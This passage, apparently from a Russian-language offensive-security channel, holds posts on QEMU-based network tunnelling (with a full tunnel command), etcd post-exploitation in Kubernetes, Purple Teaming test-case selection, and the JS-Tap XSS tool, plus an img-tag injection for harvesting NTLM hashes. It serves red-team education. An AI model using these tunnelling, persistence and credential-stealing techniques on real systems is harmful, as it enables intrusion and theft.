, которые позволяют атакующему получить доступ к локальным ресурсам, по сути, делая маршрутизируемым тот трафик, который в нормальных условиях не является маршрутизируемым😎 Но часто бывает, что нет возможности тащить что-то на отломанный хост, или архитектура процессора, ОС или ограниченные ресурсы этого просто не позволяют (например, в случаях с IoT
девайсами🙈) Или вам просто очень нравится концепция LOTL
и вы не боитесь экспериментов🔬
В блоге Securelist by Kaspersky опубликованы подробности техники использования киберзлодеями - QEMU
в качестве инструмента для туннелирования. Для справки QEMU - это эмулятор аппаратного обеспечения различных платформ, позволяющий запускать различные гостевые операционные системы, другими словами это платформа программной виртуализации.
Суть техники заключается в создании network backend -netdev user, socket, hubport
интерфейсов для создания туннелей к другим QEMU
-виртуалкам внутри и за пределами сети с использованием network stack
хоста qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic
Другими словами подобная схема позволяет использовать созданные интерфейсы QEMU
для классического туннелирования трафика, к тому же согласно документации QEMU
поддерживает TAP
, а значит по идее позволяет проводит L2 атаки😎
🖇 References:
☑️ Network Pivoting Techniques
☑️ Сергей Зыбнев: туннельное мышление, или Разбираемся с pivoting
☑️ Caster - MikroTik Nightmare
#pivoting #QEMU
Как натренировать кибербезопасность в формате Purple Teaming?
01 марта 2024 - 11:00 (МСК)
В чём преимущества подхода и практических тренировок в формате Purple Teaming, из каких этапов они состоят, как их проводить на практике и какой результат получает заказчик по итогам их проведения.
🔸 Уникальные фишки Purple Teaming. Чем этот подход отличается от Red Teaming?
🔸 Какие задачи решает Purple Teaming в кибербезопасности организации?
🔸 Из кого состоят фиолетовые (пурпурные) команды?
🔸 В чем измеряется результат от вложений в тренировки в формате Purple Teaming?
🔸 Как правильно распределить роли внутри команды Purple Team?
🔸 Как часто необходимо проводить Purple Teaming?
Зарегистрироваться, чтобы задать вопросы экспертам »»
From Bank Heists to Security Insights: The Jayson E. Street Story
Вечером предпраздничного дня хочется немного отдохнуть и отвлечься от работы, поэтому предлагаю вашему внимаю - подкаст The Security Repo, с участием моих хороших знакомых Jayson E. Street в гостях у Mackenzie Jackson
Мы познакомились на крутейшей конференции KazHackStan несколько лет назад🔥Jayson E. Street
- легендарный хакер, гуру в области социалки с мировым именем, DEF CON Groups Global Ambassador
и спикер на многих международных конференциях. К тому же Jayson очень позитивный человек и непревзойденный storyteller, истории его приключений из жизни и на проектах в разных странах можно буквально слушать часами❤️Mackenzie Jackson
- developer advocate в GitGuardian
, гуру в области DevSecOps
и Code Security
, автор многочисленных статей, публикаций и выступлений, а также ведущий своего подкаста. Кстати, обратите внимание на футболку Mackenzie👍
В подкасте Jayson рассказывает о своих приключениях, делится мыслями о hackers mindset
походах к решению любых задач, ведь в конечном итоге способность думать outside the box
и использовать творческий подход в решении технических задач играет очень важную роль в нашей повседневной жизни. Приятного просмотра!
PS: Желаю всем удачного окончания рабочей недели и хороших выходных!
Post-Exploiting a Compromised ETCD
Каждый кто имел дело с тестированием Kubernetes
, знает что etcd является одним из ключевых компонентов Control Plane
любого кластера и практически каждая методология пентеста k8s
описывает этот компонент, как хранилище секретов (паролей, API токенов, SSH ключей и пр)etcd
- это распределенное хранилище типа key-value
, основанное на алгоритме консенсуса Raft 🤪, в котором хранятся секреты и метаданные о состоянии кластера, взаимодействие с которой осуществляется с помощью etcdctl
по gRPC API
протоколу protobuf, простыми словами данные передаются в сериализованном виде. Кстати, древние версии etcd
вообще не предполагали аутентификацию, с etcd v2.1.0 (2015 год) подвезли Basic Auth
по REST API
. С точки зрения атакующего риски и потенциальные возможности чтения секретов в /registry/secrets/$namespace/$secret
понятны и очевидны. А вот возможности пост-эксплуатации с точки зрения обеспечения закрепления в обход механизмов безопасности AdmissionControllers
раньше даже не рассматривались😎
Предположим ситуацию, в ходе пентеста удалось найти серты для доступа к etcd
или получить доступ каким-нибудь другим чудесным способом🔮
/etc/kubernetes/pki/etcd/ca.crt
/etc/kubernetes/pki/etcd/server.crt
/etc/kubernetes/pki/etcd/server.key
etcd
в protobuf
можно автоматизировать пост-эксплуатацию:Kyverno
и пр.Reverse shell
на привилегированных подах с доступом на нодуdefault namespace
(не видно через kubectl get pods
)Luis Toro Puig
с KubeCon China 2023
, слайды и статья c детальным описание функциональности
Читать полностью…
Начать рабочую неделю хотелось бы с размышлений на тему подхода к выбору тест-кейсов реализуемых во время проведения Purple Teaming
проектов.
Одной из основных задач Purple Team
является создание и оптимизация процессов своевременного обнаружения и расследования инцидентов ИБ, поэтому к выбору реализуемых тест-кейсов необходимо подходить максимально детально и с пониманием потенциальных результатов, так как это в конечном итоге повлияет на эффективность работ на этапе Detection Engineering
.
Существует подход, который можно описать как Quality through Quantity
(качество через количество) то есть чем больше тест-кейсов мы реализуем, тем лучше будет результат. Под количеством в данном случае мы понимаем различные вариации техник и саб-техник и на выходе в теории получаем максимальное покрытие мониторингом и своевременное обнаружение максимального количества угроз. Но по факту это приводит к огромному количеству работы для создания и проверки правил детектирования для однообразных техник, которые закрывают определенную тактику атакующих. На пример, существует несколько ключевых техник Process Injection
(Classic shellcode Injection, APC Injection, File Mapping, Atom Bombing, Thread Hijacking, Threadless Injection
и прочее) и огромное количество различных вариаций реализаций этих техник с небольшими изменениями, но не меняющих суть общего подхода и методов обнаружения каждой из них. Поэтому наиболее эффективным в данном случае будет подход к группировке этих техник относительно способов обнаружения, чтобы в идеале каждое созданное правило закрывало максимально возможное количество техник. И для тест-кейсов уже выбирать самые разные техники относительно методов обнаружения.
Данный подход детально раскрывается в различных выступлениях Jared Atkinson из SpectrOps
, если интересно рекомендую начать с этого выступления на Black Hat USA 2023
Таким образом, применяя подобный подход по результатам проекта получается отработать большее количество техник за меньшее время без потери эффективности и не заставить команду SOC
, отвечающую за Detection Engineering
вас ненавидеть🙏
JS-Tap: Weaponizing JavaScript for Red Teams
Тестирование на проникновение в формате Red Teaming
, в качестве цели предполагает возможность реализации бизнес рисков/недопустимых событий. Поэтому при эксплуатации XSS
в уязвимом приложении обычно демонстрации пейлоада <script>alert("XSS")</script>
недостаточно. Да и в целом иногда бывает сложно объяснить бизнесу потенциальный импакт от эксплуатации XSS
при проведении других видов тестирований, без наглядной демонстрации последствий эксплуатации.
В этой заметке хочу рассказать про JS-Tap - интересный инструмент для развития вектора эксплуатации client-side XSS
, который представляет собой js библиотеку, обеспечивающую широкие возможности пост-эксплуатации и C2 сервера на python
c веб-интерфейсом для управления.
Существует 2 режима работы:
🔴Trap Mode - эксплуатация XSS
в iframe
уязвимого приложения, js пейлоад на ~800 строк позволяет собрать:
✅Client IP address, OS, Browser
✅User inputs (credentials, etc.)
✅URLs visited
✅Cookies (that don't have httponly flag set)
✅Local Storage
✅Session Storage
✅HTML code of pages visited
✅Screenshots of pages visited
✅XHR/Fetch API network requests
🔴Implant Mode - дает такие же возможности, но без iframe
и необходимости прямого взаимодействия с пользователем для эксплуатации XSS
. Проэксплуатировав RCE
и имея шелл на сервере веб-приложения, можно немного "дописать" функциональность, добавив пейлоад JS-Tap
в js файлы приложения и дальше развлекаться подобным образом со всеми пользователями приложения😎
Подобный сценарий развития атаки когда-то давно был очень популярен, например вектор - подломить какой-нибудь внутренний веб, добавить на главную <html><img src="http://responder"></html>
и собрать NTLM
хеши пользователей, если включен автоматический логон в intranet
. Привет из 2016 для bitrix😂
Таким образом, инструмент получился очень интересный, на тестах лабораторной среде показал себя отлично и определенно заслуживает внимания сообщества👍